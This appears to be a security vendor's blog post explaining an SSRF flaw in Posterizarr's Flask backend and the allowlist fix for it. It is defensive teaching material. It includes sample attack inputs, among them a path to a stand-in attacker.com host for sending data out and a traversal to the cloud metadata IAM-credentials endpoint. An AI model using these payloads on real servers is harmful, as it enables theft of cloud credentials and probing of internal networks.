Back to Blog
high SEVERITY5 min read

How Server-Side Request Forgery (SSRF) happens in Python Flask and how to fix it

A high-severity Server-Side Request Forgery (SSRF) vulnerability was discovered in `webui/backend/main.py` at line 6597 of the Posterizarr project. User-controlled `request.media_type` was interpolated directly into a URL used for server-side HTTP requests to The Movie Database (TMDB) API, allowing attackers to manipulate the destination of outbound requests. The fix introduces a strict allowlist that only permits `"movie"` or `"tv"` as valid media types.

O
By Orbis AppSec
Published July 21, 2026Reviewed July 21, 2026

Answer Summary

This is a Server-Side Request Forgery (SSRF) vulnerability (CWE-918) in a Python Flask application where `request.media_type` from user input was directly interpolated into a URL passed to a server-side HTTP request to the TMDB API. The fix validates `request.media_type` against a strict allowlist dictionary (`{"movie": "movie", "tv": "tv"}`) before constructing the URL, preventing attackers from manipulating the request destination.

Vulnerability at a Glance

cweCWE-918
fixAdded allowlist validation restricting `media_type` to only `"movie"` or `"tv"` before URL construction
riskAttacker can redirect server-side requests to arbitrary internal or external hosts
languagePython (Flask)
root causeUser-controlled `request.media_type` interpolated directly into outbound request URL without validation
vulnerabilityServer-Side Request Forgery (SSRF)

How Server-Side Request Forgery (SSRF) Happens in Python Flask and How to Fix It

Introduction

In the Posterizarr project's webui/backend/main.py, a high-severity SSRF vulnerability was discovered at line 6597. The application's search functionality constructs a URL to query The Movie Database (TMDB) API, but it directly interpolates request.media_type — a user-controlled value — into the URL path without any validation. This means an attacker could craft a malicious media_type value to redirect the server's outbound HTTP request to an arbitrary destination, potentially accessing internal services, cloud metadata endpoints, or other sensitive resources behind the network perimeter.

This is particularly dangerous because the application is containerized and publicly accessible, meaning an attacker on the internet could leverage this endpoint to probe the internal network infrastructure that the container has access to.

The Vulnerability Explained

The vulnerable code constructed a TMDB API search URL by directly embedding user input:

search_url = f"https://api.themoviedb.org/3/search/{request.media_type}"
search_params = {"query": request.query, "page": 1}

At first glance, this looks harmless — the URL appears to always point to api.themoviedb.org. However, request.media_type is controlled by the user. An attacker could supply a crafted value like:

../../../../../../attacker.com/steal?data=

Or more critically, they could use path traversal or URL manipulation techniques to redirect the request entirely. Depending on the HTTP library's URL parsing behavior, a media_type value like:

movie/../../../..%00@internal-service:8080/admin

could cause the server to make requests to internal services that should never be accessible from the public internet.

Real-World Attack Scenario

Consider this attack flow against the Posterizarr web UI:

  1. An attacker sends a search request with media_type set to a crafted value targeting the cloud metadata service: ../../../169.254.169.254/latest/meta-data/iam/security-credentials/
  2. The server constructs the URL and makes the request on behalf of the attacker
  3. If the response is forwarded back to the user, the attacker receives AWS IAM credentials or other cloud metadata
  4. Even if the response isn't forwarded, the attacker can use timing-based techniques to map internal network topology

Since this is a containerized service, the container's network namespace likely has access to other internal services (databases, caches, admin panels) that are not exposed to the public internet.

The Fix

The fix introduces a strict allowlist that maps acceptable media_type values to their safe counterparts:

Before (vulnerable):

search_url = f"https://api.themoviedb.org/3/search/{request.media_type}"
search_params = {"query": request.query, "page": 1}

After (fixed):

allowed_media_types = {"movie": "movie", "tv": "tv"}
if request.media_type not in allowed_media_types:
    raise ValueError(f"Invalid media_type: {request.media_type}")
safe_media_type = allowed_media_types[request.media_type]
search_url = f"https://api.themoviedb.org/3/search/{safe_media_type}"
search_params = {"query": request.query, "page": 1}

This fix works on multiple levels:

  1. Explicit allowlist: Only "movie" and "tv" are accepted — any other value raises a ValueError immediately
  2. Indirect reference map: Even if an attacker somehow bypasses the not in check, the value used in the URL comes from the dictionary's values, not from user input
  3. Fail-closed design: Unknown values result in an exception rather than a potentially dangerous request

The dictionary-based approach is particularly elegant because it creates an indirection layer. The URL is constructed using allowed_media_types[request.media_type] (the dictionary value), not request.media_type itself. This means even if a future code change accidentally weakens the validation check, the actual URL will still only contain the pre-defined safe strings.

Prevention & Best Practices

1. Always Use Allowlists for URL Components

When user input contributes to URL construction, validate against an explicit set of allowed values. Never rely on blocklists or sanitization alone — attackers are creative.

2. Separate User Input from URL Construction

Use indirect references (like the dictionary pattern in this fix) so that user input is never directly embedded in URLs, even after validation.

3. Implement Network-Level Controls

For containerized applications:
- Block outbound requests to RFC 1918 addresses and link-local ranges (169.254.x.x)
- Use network policies to restrict which services the container can reach
- Consider using an HTTP proxy that enforces URL allowlists

4. Don't Forward Proxied Responses

If you must make server-side requests based on user input, never forward the raw response body back to the user. Extract only the specific fields you need.

5. Use Static Analysis in CI/CD

Tools like Semgrep can catch SSRF patterns automatically. The rule python.flask.security.injection.ssrf-requests.ssrf-requests specifically detects when Flask request data flows into HTTP client calls.

Key Takeaways

  • request.media_type at line 6597 was the attack vector — a seemingly innocent path component that could redirect entire server-side requests
  • The TMDB API proxy pattern is common and commonly vulnerable — any time your server makes requests on behalf of users, SSRF risk exists
  • Dictionary-based allowlists provide defense-in-depth — even if the validation check is bypassed, the URL only contains pre-approved strings from dictionary values
  • Containerized services amplify SSRF impact — internal network access from a container can expose databases, admin panels, and cloud metadata endpoints
  • A ValueError exception is the correct failure mode — fail closed, don't attempt to "sanitize" the input and proceed

How Orbis AppSec Detected This

  • Source: User-controlled request.media_type from the incoming HTTP request object in webui/backend/main.py
  • Sink: String interpolation into search_url at line 6597, which is subsequently passed to an HTTP client for a server-side request to the TMDB API
  • Missing control: No validation or allowlist check on request.media_type before URL construction
  • CWE: CWE-918 (Server-Side Request Forgery)
  • Fix: Added an allowlist dictionary restricting media_type to "movie" or "tv", raising a ValueError for any other value

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This SSRF vulnerability in Posterizarr's search functionality demonstrates how even well-intentioned API proxy code can become a security liability when user input flows unchecked into URL construction. The fix — a simple four-line allowlist — eliminates the attack surface entirely while preserving the application's functionality. When building any feature that makes server-side requests based on user input, always ask: "What's the complete set of valid values here?" If you can enumerate them, use an allowlist. Your future self (and your security team) will thank you.

References

Frequently Asked Questions

What is Server-Side Request Forgery (SSRF)?

SSRF is a vulnerability where an attacker can cause a server to make HTTP requests to unintended destinations by manipulating user-controlled input that gets used in server-side request URLs, potentially accessing internal services or exfiltrating data.

How do you prevent SSRF in Python Flask?

Validate all user-supplied input used in URL construction against strict allowlists, restrict allowed schemes (http/https only), block requests to internal IP ranges, and never forward raw responses from proxied requests back to users.

What CWE is SSRF?

SSRF is classified as CWE-918: Server-Side Request Forgery. It falls under the broader category of injection vulnerabilities where attacker-controlled data influences the target of network requests made by the server.

Is input sanitization enough to prevent SSRF?

No, sanitization alone is insufficient. Allowlist validation of both the scheme and host is the recommended approach, as attackers can bypass sanitization with URL encoding, DNS rebinding, or redirect chains. An explicit allowlist of permitted values is the strongest defense.

Can static analysis detect SSRF?

Yes, static analysis tools like Semgrep can detect SSRF by tracing data flow from request objects (sources) to HTTP client calls (sinks). The rule `python.flask.security.injection.ssrf-requests.ssrf-requests` specifically identifies this pattern in Flask applications.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #621

Related Articles

high

How SSRF and Credential Leakage via Absolute URLs happens in axios and how to fix it

A high-severity vulnerability (CVE-2025-27152) in axios versions prior to 1.8.2 allowed Server-Side Request Forgery (SSRF) attacks and credential leakage when making HTTP requests with absolute URLs. This vulnerability was fixed by upgrading from axios 1.7.4 to 1.8.2 in both package.json and package-lock.json, eliminating the attack vector that could have exposed authentication tokens and enabled unauthorized server-side requests.

critical

How Server-Side Request Forgery (SSRF) happens in Python requests.get() and how to fix it

A critical Server-Side Request Forgery (SSRF) vulnerability was discovered in `models/common.py` where `requests.get()` fetched images from arbitrary URLs without validating whether the target resolved to internal infrastructure. An attacker could supply URLs targeting AWS metadata endpoints (169.254.169.254), private networks, or localhost services through the Flask REST API. The fix introduces DNS-resolution-based validation using Python's `socket.getaddrinfo()` and `ipaddress` module to block

high

How NO_PROXY bypass via crafted URL happens in Node.js axios and how to fix it

A high-severity vulnerability (CVE-2026-42043) in axios versions prior to 1.15.1 allowed attackers to bypass NO_PROXY environment variable restrictions using specially crafted URLs. This meant HTTP requests intended to stay internal could be routed through an attacker-controlled proxy, potentially exposing sensitive data. The fix upgrades axios to version 1.15.1, which correctly validates URLs against NO_PROXY rules.

high

How DNS rebinding attacks happen in Node.js MCP and how to fix it

The Model Context Protocol (MCP) TypeScript SDK in version 1.17.1 lacked DNS rebinding protection, leaving applications vulnerable to a sophisticated network-level attack. By upgrading to version 1.24.0, DNS rebinding protection is now enabled by default, preventing attackers from exploiting the SDK's HTTP request handling to access internal resources or bypass security controls.

high

How shell injection via `${{` variable interpolation happens in GitHub Actions and how to fix it

A high-severity shell injection vulnerability was discovered in `.github/commaSplitter/action.yaml` where unsanitized user input was directly interpolated into a bash `run:` step using `${{ inputs.input }}`. An attacker could craft a malicious input string to escape the shell command and execute arbitrary code on the GitHub Actions runner, potentially stealing secrets and source code. The fix introduces an intermediate environment variable to safely pass the input without shell interpretation.

high

How missing Dependabot cooldown configuration happens in GitHub Actions and how to fix it

A high-severity vulnerability was discovered in the `.github/dependabot.yml` configuration file where no cooldown period was set for dependency updates. This exposed the Node.js library and its downstream consumers to potentially malicious or unstable packages immediately after publication. The fix adds a 7-day cooldown period to all package ecosystem entries, providing a critical safety buffer before accepting newly published package versions.